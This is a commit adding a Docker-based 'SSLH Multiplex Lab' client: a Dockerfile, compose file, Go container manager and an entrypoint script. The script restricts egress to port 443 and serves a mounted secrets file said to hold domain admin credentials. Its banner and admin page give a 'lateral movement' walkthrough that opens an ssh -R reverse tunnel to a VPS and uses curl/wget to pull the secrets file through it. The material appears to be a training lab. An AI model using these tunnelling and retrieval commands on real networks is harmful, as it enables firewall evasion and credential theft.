Initial code commit
This commit is contained in:
35
internal/docker/client/Dockerfile
Normal file
35
internal/docker/client/Dockerfile
Normal file
@@ -0,0 +1,35 @@
|
||||
FROM ubuntu:22.04
|
||||
|
||||
# Prevent interactive prompts during package installation
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
# Configure apt to be faster and more reliable
|
||||
RUN echo 'Acquire::http::Timeout "30";' > /etc/apt/apt.conf.d/99timeout && \
|
||||
echo 'Acquire::Retries "3";' >> /etc/apt/apt.conf.d/99timeout && \
|
||||
echo 'Acquire::http::Pipeline-Depth "0";' >> /etc/apt/apt.conf.d/99timeout
|
||||
|
||||
# Update package lists and install packages in a single layer for better caching
|
||||
# Use --no-install-recommends to reduce image size and installation time
|
||||
# Group packages to optimize download
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
openssh-client \
|
||||
wireguard-tools \
|
||||
curl \
|
||||
wget \
|
||||
dnsutils \
|
||||
iptables \
|
||||
bash \
|
||||
samba-client \
|
||||
nginx-light \
|
||||
iproute2 \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& mkdir -p /var/log/nginx /var/www/html /etc/nginx/sites-available /etc/nginx/sites-enabled \
|
||||
&& chown -R www-data:www-data /var/www/html /var/log/nginx 2>/dev/null || true
|
||||
|
||||
COPY entrypoint.sh /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
CMD ["/bin/bash"]
|
||||
24
internal/docker/client/docker-compose.yml
Normal file
24
internal/docker/client/docker-compose.yml
Normal file
@@ -0,0 +1,24 @@
|
||||
services:
|
||||
sslh-lab-client:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
container_name: sslh-lab-client
|
||||
network_mode: bridge
|
||||
cap_add:
|
||||
- NET_ADMIN
|
||||
volumes:
|
||||
- ./wireguard:/wireguard:ro
|
||||
- ./keys:/keys:ro
|
||||
- ./server-info.txt:/server-info.txt:ro
|
||||
- ./secrets.txt:/secrets.txt:ro
|
||||
stdin_open: true
|
||||
tty: true
|
||||
privileged: false
|
||||
dns:
|
||||
- 8.8.8.8
|
||||
- 1.1.1.1
|
||||
- 8.8.4.4
|
||||
dns_search: []
|
||||
dns_opt:
|
||||
- use-vc
|
||||
386
internal/docker/client/entrypoint.sh
Executable file
386
internal/docker/client/entrypoint.sh
Executable file
@@ -0,0 +1,386 @@
|
||||
#!/bin/sh
|
||||
# Don't use set -e as we want to continue even if some commands fail
|
||||
|
||||
# Force use of public DNS servers to avoid Docker DNS cache issues
|
||||
# Docker's DNS (192.168.65.7) may cache NXDOMAIN responses
|
||||
# Using public DNS ensures fresh lookups
|
||||
cat > /etc/resolv.conf <<EOF
|
||||
nameserver 8.8.8.8
|
||||
nameserver 1.1.1.1
|
||||
nameserver 8.8.4.4
|
||||
EOF
|
||||
|
||||
# Configure iptables to only allow TCP 443 and UDP 53 (DNS) outbound
|
||||
# This simulates a restricted network environment (e.g., behind a VPN/firewall)
|
||||
# Use REJECT instead of DROP so connections fail immediately
|
||||
# TCP connections get tcp-reset, UDP gets icmp-port-unreachable
|
||||
# Note: No INPUT rules needed - reverse SSH tunnel handles forwarding internally
|
||||
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset
|
||||
iptables -A OUTPUT -p udp -j REJECT --reject-with icmp-port-unreachable
|
||||
iptables -A OUTPUT -j REJECT --reject-with icmp-proto-unreachable
|
||||
|
||||
# Test DNS resolution to ensure it works
|
||||
if ! nslookup google.com >/dev/null 2>&1; then
|
||||
echo "Warning: DNS resolution test failed. DNS may not be working properly."
|
||||
fi
|
||||
|
||||
# Clear DNS cache if nscd is available
|
||||
if command -v nscd >/dev/null 2>&1; then
|
||||
nscd -i hosts 2>/dev/null || true
|
||||
nscd -i passwd 2>/dev/null || true
|
||||
nscd -i group 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# Force DNS refresh by clearing any local DNS cache
|
||||
# This ensures subdomain resolution works immediately
|
||||
if [ -f /etc/nsswitch.conf ]; then
|
||||
# Ensure hosts: files dns is set for proper DNS resolution
|
||||
if ! grep -q "^hosts:.*dns" /etc/nsswitch.conf 2>/dev/null; then
|
||||
sed -i 's/^hosts:.*/hosts: files dns/' /etc/nsswitch.conf 2>/dev/null || true
|
||||
fi
|
||||
fi
|
||||
|
||||
# Test DNS resolution for common domains to verify DNS is working
|
||||
echo "Testing DNS resolution..."
|
||||
if nslookup google.com >/dev/null 2>&1; then
|
||||
echo "DNS resolution: OK (using 8.8.8.8, 1.1.1.1)"
|
||||
else
|
||||
echo "WARNING: DNS resolution test failed"
|
||||
fi
|
||||
|
||||
# Function to start nginx HTTP server
|
||||
start_http_server() {
|
||||
if command -v nginx >/dev/null 2>&1; then
|
||||
# Create web root directory
|
||||
mkdir -p /var/www/html
|
||||
|
||||
# Create nginx configuration for port 8888
|
||||
# Create sites-available directory if it doesn't exist
|
||||
mkdir -p /etc/nginx/sites-available /etc/nginx/sites-enabled
|
||||
|
||||
# Create a minimal nginx config that works
|
||||
# Use default_server to ensure it's used
|
||||
cat > /etc/nginx/sites-available/lab-server <<'NGINX'
|
||||
server {
|
||||
listen 127.0.0.1:8888 default_server;
|
||||
server_name localhost;
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
access_log /var/log/nginx/lab-access.log;
|
||||
error_log /var/log/nginx/lab-error.log;
|
||||
|
||||
# Ensure we can serve files
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Serve secrets.txt as plain text
|
||||
location /secrets.txt {
|
||||
default_type text/plain;
|
||||
try_files $uri =404;
|
||||
}
|
||||
}
|
||||
NGINX
|
||||
|
||||
# Enable the site
|
||||
ln -sf /etc/nginx/sites-available/lab-server /etc/nginx/sites-enabled/
|
||||
rm -f /etc/nginx/sites-enabled/default
|
||||
|
||||
# Ensure nginx main config includes sites-enabled
|
||||
# Ubuntu nginx-light should already have this, but verify and fix if needed
|
||||
if ! grep -q "include.*sites-enabled" /etc/nginx/nginx.conf 2>/dev/null; then
|
||||
# Backup original config
|
||||
cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 2>/dev/null || true
|
||||
# Add include directive in http block
|
||||
sed -i '/^[[:space:]]*http[[:space:]]*{/,/^[[:space:]]*}/ {
|
||||
/^[[:space:]]*include[[:space:]]*\/etc\/nginx\/sites-enabled/! {
|
||||
/^[[:space:]]*include[[:space:]]*mime.types/a\
|
||||
include /etc/nginx/sites-enabled/*;
|
||||
}
|
||||
}' /etc/nginx/nginx.conf 2>/dev/null || \
|
||||
sed -i '/include.*mime.types/a\ include /etc/nginx/sites-enabled/*;' /etc/nginx/nginx.conf 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# Create admin page
|
||||
cat > /var/www/html/index.html <<'HTML'
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Lab Admin Panel</title>
|
||||
<meta charset="utf-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
color: #333;
|
||||
}
|
||||
.container {
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
background: white;
|
||||
border-radius: 10px;
|
||||
padding: 30px;
|
||||
box-shadow: 0 10px 30px rgba(0,0,0,0.3);
|
||||
}
|
||||
h1 {
|
||||
color: #667eea;
|
||||
border-bottom: 3px solid #764ba2;
|
||||
padding-bottom: 10px;
|
||||
}
|
||||
.info-box {
|
||||
background: #f5f5f5;
|
||||
border-left: 4px solid #667eea;
|
||||
padding: 15px;
|
||||
margin: 20px 0;
|
||||
border-radius: 5px;
|
||||
}
|
||||
.link {
|
||||
display: inline-block;
|
||||
margin: 10px 10px 10px 0;
|
||||
padding: 10px 20px;
|
||||
background: #667eea;
|
||||
color: white;
|
||||
text-decoration: none;
|
||||
border-radius: 5px;
|
||||
transition: background 0.3s;
|
||||
}
|
||||
.link:hover {
|
||||
background: #764ba2;
|
||||
}
|
||||
code {
|
||||
background: #f5f5f5;
|
||||
padding: 2px 6px;
|
||||
border-radius: 3px;
|
||||
font-family: 'Courier New', monospace;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Lab Admin Panel</h1>
|
||||
<div class="info-box">
|
||||
<h2>System Information</h2>
|
||||
<p><strong>Server:</strong> SSLH Multiplex Lab - Client Container</p>
|
||||
<p><strong>Access:</strong> Localhost only (via reverse SSH tunnel)</p>
|
||||
<p><strong>Purpose:</strong> Lateral movement demonstration</p>
|
||||
</div>
|
||||
<div class="info-box">
|
||||
<h2>Available Resources</h2>
|
||||
<p>This server is accessible only through the reverse SSH tunnel established from the container.</p>
|
||||
<a href="/secrets.txt" class="link">View Secrets File</a>
|
||||
</div>
|
||||
<div class="info-box">
|
||||
<h2>Lateral Movement Demo</h2>
|
||||
<p>This demonstrates accessing container resources from a compromised VPS:</p>
|
||||
<ol>
|
||||
<li>Establish reverse tunnel: <code>ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.domain.com -p 443</code></li>
|
||||
<li>From VPS, access: <code>curl http://localhost:2222/secrets.txt</code></li>
|
||||
<li>Or browse: <code>curl http://localhost:2222/</code></li>
|
||||
</ol>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
# Copy secrets.txt to web root
|
||||
if [ -f /secrets.txt ]; then
|
||||
cp /secrets.txt /var/www/html/secrets.txt
|
||||
else
|
||||
echo "File not found - secrets.txt should be mounted" > /var/www/html/secrets.txt
|
||||
fi
|
||||
|
||||
# Start nginx on port 8888
|
||||
echo "Starting nginx on port 8888..."
|
||||
|
||||
# Create nginx log directory if it doesn't exist
|
||||
mkdir -p /var/log/nginx
|
||||
chown -R www-data:www-data /var/log/nginx 2>/dev/null || chown -R nginx:nginx /var/log/nginx 2>/dev/null || true
|
||||
|
||||
# Ensure nginx can write to log directory
|
||||
chmod 755 /var/log/nginx 2>/dev/null || true
|
||||
|
||||
# Kill any existing nginx processes
|
||||
pkill -9 nginx 2>/dev/null || true
|
||||
sleep 1
|
||||
|
||||
# Test nginx configuration
|
||||
nginx -t >/tmp/nginx-test.log 2>&1
|
||||
TEST_RESULT=$?
|
||||
if [ $TEST_RESULT -ne 0 ]; then
|
||||
echo "ERROR: nginx configuration test failed"
|
||||
cat /tmp/nginx-test.log
|
||||
echo " Main config:"
|
||||
cat /etc/nginx/nginx.conf | head -30
|
||||
echo " Site config:"
|
||||
cat /etc/nginx/sites-available/lab-server
|
||||
return 1
|
||||
fi
|
||||
echo " Nginx configuration test passed"
|
||||
|
||||
# Start nginx as daemon
|
||||
# Redirect stderr to capture any startup errors
|
||||
nginx 2>/tmp/nginx-start-err.log || {
|
||||
echo "ERROR: nginx failed to start (exit code: $?)"
|
||||
cat /tmp/nginx-start-err.log 2>/dev/null || true
|
||||
cat /var/log/nginx/error.log 2>/dev/null || true
|
||||
return 1
|
||||
}
|
||||
|
||||
# Wait for nginx to fully start and verify it's running
|
||||
for i in 1 2 3 4 5; do
|
||||
if pgrep -x nginx >/dev/null 2>&1; then
|
||||
break
|
||||
fi
|
||||
if [ $i -eq 5 ]; then
|
||||
echo "ERROR: nginx process not found after start attempts"
|
||||
cat /tmp/nginx-start-err.log 2>/dev/null || true
|
||||
cat /var/log/nginx/error.log 2>/dev/null || true
|
||||
return 1
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
echo " Nginx process started (PID: $(pgrep -x nginx | head -1))"
|
||||
|
||||
# Wait a bit more for nginx to fully initialize and bind to port
|
||||
sleep 2
|
||||
|
||||
# Verify nginx master and worker processes
|
||||
NGINX_COUNT=$(pgrep -x nginx | wc -l)
|
||||
if [ "$NGINX_COUNT" -lt 2 ]; then
|
||||
echo " WARNING: Only $NGINX_COUNT nginx process(es) found (expected at least 2: master + worker)"
|
||||
fi
|
||||
|
||||
# Verify it's listening on port 8888
|
||||
LISTENING=0
|
||||
if command -v ss >/dev/null 2>&1; then
|
||||
if ss -ln 2>/dev/null | grep -q ":8888"; then
|
||||
LISTENING=1
|
||||
fi
|
||||
elif command -v netstat >/dev/null 2>&1; then
|
||||
if netstat -ln 2>/dev/null | grep -q ":8888"; then
|
||||
LISTENING=1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$LISTENING" -eq 1 ]; then
|
||||
echo "HTTP server (nginx) started on 127.0.0.1:8888"
|
||||
echo " Admin page: http://127.0.0.1:8888/"
|
||||
echo " Secrets: http://127.0.0.1:8888/secrets.txt"
|
||||
# Test that it actually responds with retries
|
||||
if command -v curl >/dev/null 2>&1; then
|
||||
RESPONDING=0
|
||||
for i in 1 2 3; do
|
||||
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://127.0.0.1:8888/ 2>/dev/null || echo "000")
|
||||
if echo "$HTTP_CODE" | grep -qE "200|404"; then
|
||||
RESPONDING=1
|
||||
echo " Verified: Server responding correctly (HTTP $HTTP_CODE)"
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
if [ "$RESPONDING" -eq 0 ]; then
|
||||
echo " WARNING: Server listening but not responding to HTTP requests"
|
||||
echo " Test: curl -v http://127.0.0.1:8888/"
|
||||
fi
|
||||
fi
|
||||
return 0
|
||||
else
|
||||
echo "WARNING: nginx is running but not listening on port 8888"
|
||||
echo " Process status:"
|
||||
pgrep -a nginx || true
|
||||
echo " Listening ports:"
|
||||
(ss -ln 2>/dev/null || netstat -ln 2>/dev/null) | grep -E "(8888|LISTEN)" || true
|
||||
echo " Error log:"
|
||||
tail -30 /var/log/nginx/error.log 2>/dev/null || cat /tmp/nginx.log 2>/dev/null || true
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo "ERROR: nginx not available"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Start lightweight HTTP server on localhost:8888
|
||||
# This serves a demo admin page and secrets.txt via reverse tunnel
|
||||
# Only accessible through reverse SSH tunnel (doesn't bypass network restrictions)
|
||||
|
||||
# Ensure secrets.txt exists
|
||||
if [ ! -f /secrets.txt ]; then
|
||||
echo "WARNING: /secrets.txt not found, creating placeholder"
|
||||
echo "File not found - secrets.txt should be mounted" > /secrets.txt
|
||||
fi
|
||||
|
||||
# Start the HTTP server (nginx)
|
||||
echo "Starting HTTP server (nginx)..."
|
||||
if start_http_server; then
|
||||
echo "HTTP server ready for reverse tunnel access"
|
||||
else
|
||||
echo "ERROR: Failed to start HTTP server"
|
||||
echo " Check logs: cat /var/log/nginx/error.log"
|
||||
echo " Check nginx config: nginx -t"
|
||||
echo " Check if port is in use: ss -ln | grep 8888"
|
||||
fi
|
||||
|
||||
# Display connection examples
|
||||
cat <<EOF
|
||||
SSLH Multiplex Lab - Client Container
|
||||
======================================
|
||||
|
||||
This container has restricted network access:
|
||||
- Only TCP port 443 (outbound) is allowed - for SSLH multiplexed services
|
||||
- Only UDP port 53 (outbound) is allowed - for DNS queries
|
||||
- All other outbound traffic is blocked (simulating VPN/firewall restrictions)
|
||||
|
||||
Example connections:
|
||||
- SSH: ssh -i /keys/id_ed25519 user@ssh.chaosengineering.cc -p 443
|
||||
- HTTPS: curl https://chaosengineering.cc
|
||||
- SMB: smbclient //smb.chaosengineering.cc/share -p 443 -U user
|
||||
- SMB (list shares): smbclient -L //smb.chaosengineering.cc -p 443 -U user
|
||||
- SMB (connect): smbclient //smb.chaosengineering.cc/share -p 443 -U user%password
|
||||
|
||||
Troubleshooting DNS:
|
||||
- If DNS resolution fails, use the server IP address directly
|
||||
- Server information is available in: /server-info.txt
|
||||
- Test DNS: nslookup google.com
|
||||
- Check DNS config: cat /etc/resolv.conf
|
||||
|
||||
Example with IP (if DNS fails):
|
||||
cat /server-info.txt
|
||||
ssh testuser@<server-ip> -p 443
|
||||
|
||||
WireGuard configs are available in /wireguard/
|
||||
SSH keys are available in /keys/
|
||||
Domain admin credentials are available in /secrets.txt
|
||||
|
||||
Lateral Movement Demo:
|
||||
- Establish SSH reverse shell to VPS:
|
||||
ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.chaosengineering.cc -p 443
|
||||
- Keep that SSH session open (the tunnel stays active while connected)
|
||||
- From the VPS shell:
|
||||
* View admin page: curl http://127.0.0.1:2222/ (or http://localhost:2222/)
|
||||
* Retrieve secrets: curl http://127.0.0.1:2222/secrets.txt > /tmp/secrets.txt
|
||||
* Or: wget http://127.0.0.1:2222/secrets.txt -O /tmp/secrets.txt
|
||||
- The HTTP server listens on 127.0.0.1:8888 and is only accessible via reverse tunnel
|
||||
- This demonstrates lateral movement: accessing container resources from compromised VPS
|
||||
- Note: The reverse tunnel must stay active (keep SSH session open)
|
||||
|
||||
Troubleshooting:
|
||||
- Verify server is running: ps aux | grep nginx
|
||||
- Check if listening: ss -ln | grep 8888 (or: netstat -ln | grep 8888)
|
||||
- Test from container: curl http://127.0.0.1:8888/ or curl http://127.0.0.1:8888/secrets.txt
|
||||
- Check server logs: cat /var/log/nginx/error.log
|
||||
- Check nginx config: nginx -t
|
||||
- Verify reverse tunnel: On VPS, check if port 2222 is listening: ss -ln | grep 2222
|
||||
- If tunnel fails: Check VPS SSH config allows GatewayPorts (default: no, but localhost binding should work)
|
||||
- Alternative syntax (if above fails): ssh -R 2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
|
||||
- Debug tunnel: Add -v flag to SSH: ssh -v -R 127.0.0.1:2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
|
||||
EOF
|
||||
|
||||
exec "$@"
|
||||
166
internal/docker/manager.go
Normal file
166
internal/docker/manager.go
Normal file
@@ -0,0 +1,166 @@
|
||||
package docker
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
type Manager struct {
|
||||
ClientDir string
|
||||
}
|
||||
|
||||
func NewManager(clientDir string) *Manager {
|
||||
return &Manager{
|
||||
ClientDir: clientDir,
|
||||
}
|
||||
}
|
||||
|
||||
func getComposeCommand() ([]string, error) {
|
||||
// Try docker compose (v2) first
|
||||
cmd := exec.Command("docker", "compose", "version")
|
||||
if err := cmd.Run(); err == nil {
|
||||
return []string{"docker", "compose"}, nil
|
||||
}
|
||||
|
||||
// Fall back to docker-compose (v1)
|
||||
cmd = exec.Command("docker-compose", "--version")
|
||||
if err := cmd.Run(); err == nil {
|
||||
return []string{"docker-compose"}, nil
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("neither 'docker compose' nor 'docker-compose' is available. Please install Docker Compose")
|
||||
}
|
||||
|
||||
func (m *Manager) Build() error {
|
||||
dockerfilePath := filepath.Join(m.ClientDir, "Dockerfile")
|
||||
if _, err := os.Stat(dockerfilePath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("Dockerfile not found at %s", dockerfilePath)
|
||||
}
|
||||
|
||||
// Use docker-compose build to ensure it respects docker-compose.yml configuration
|
||||
// and rebuilds when Dockerfile changes
|
||||
composeCmd, err := getComposeCommand()
|
||||
if err != nil {
|
||||
// Fallback to docker build if compose is not available
|
||||
cmd := exec.Command("docker", "build", "--no-cache", "-t", "sslh-lab-client", m.ClientDir)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to build Docker image: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Use docker-compose build which will rebuild if Dockerfile changed
|
||||
args := append(composeCmd, "-f", filepath.Join(m.ClientDir, "docker-compose.yml"), "build", "--no-cache")
|
||||
cmd := exec.Command(args[0], args[1:]...)
|
||||
cmd.Dir = m.ClientDir
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to build Docker image: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Run() error {
|
||||
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
|
||||
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
|
||||
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
|
||||
}
|
||||
|
||||
composeCmd, err := getComposeCommand()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
args := append(composeCmd, "-f", composeFile, "up", "-d")
|
||||
cmd := exec.Command(args[0], args[1:]...)
|
||||
cmd.Dir = m.ClientDir
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to run Docker container: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Stop() error {
|
||||
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
|
||||
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
|
||||
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
|
||||
}
|
||||
|
||||
composeCmd, err := getComposeCommand()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
args := append(composeCmd, "-f", composeFile, "down")
|
||||
cmd := exec.Command(args[0], args[1:]...)
|
||||
cmd.Dir = m.ClientDir
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to stop Docker container: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Status() (string, error) {
|
||||
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Status}}")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to check container status: %w", err)
|
||||
}
|
||||
|
||||
return string(output), nil
|
||||
}
|
||||
|
||||
func (m *Manager) IsRunning() bool {
|
||||
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Names}}")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(output) > 0 && string(output) == "sslh-lab-client\n"
|
||||
}
|
||||
|
||||
func (m *Manager) Connect(shell string) error {
|
||||
if !m.IsRunning() {
|
||||
return fmt.Errorf("container is not running. Start it first with 'sslh-lab client'")
|
||||
}
|
||||
|
||||
cmd := exec.Command("docker", "exec", "-it", "sslh-lab-client", shell)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
err := cmd.Run()
|
||||
|
||||
// Exit code 255 is common when user exits normally (Ctrl+D or 'exit' command)
|
||||
// Exit code 130 is common when user presses Ctrl+C
|
||||
// These are not errors, just normal ways to disconnect
|
||||
if exitError, ok := err.(*exec.ExitError); ok {
|
||||
exitCode := exitError.ExitCode()
|
||||
if exitCode == 255 || exitCode == 130 || exitCode == 0 {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// If err is nil (exit code 0), return nil
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// For other errors, return them
|
||||
return err
|
||||
}
|
||||
Reference in New Issue
Block a user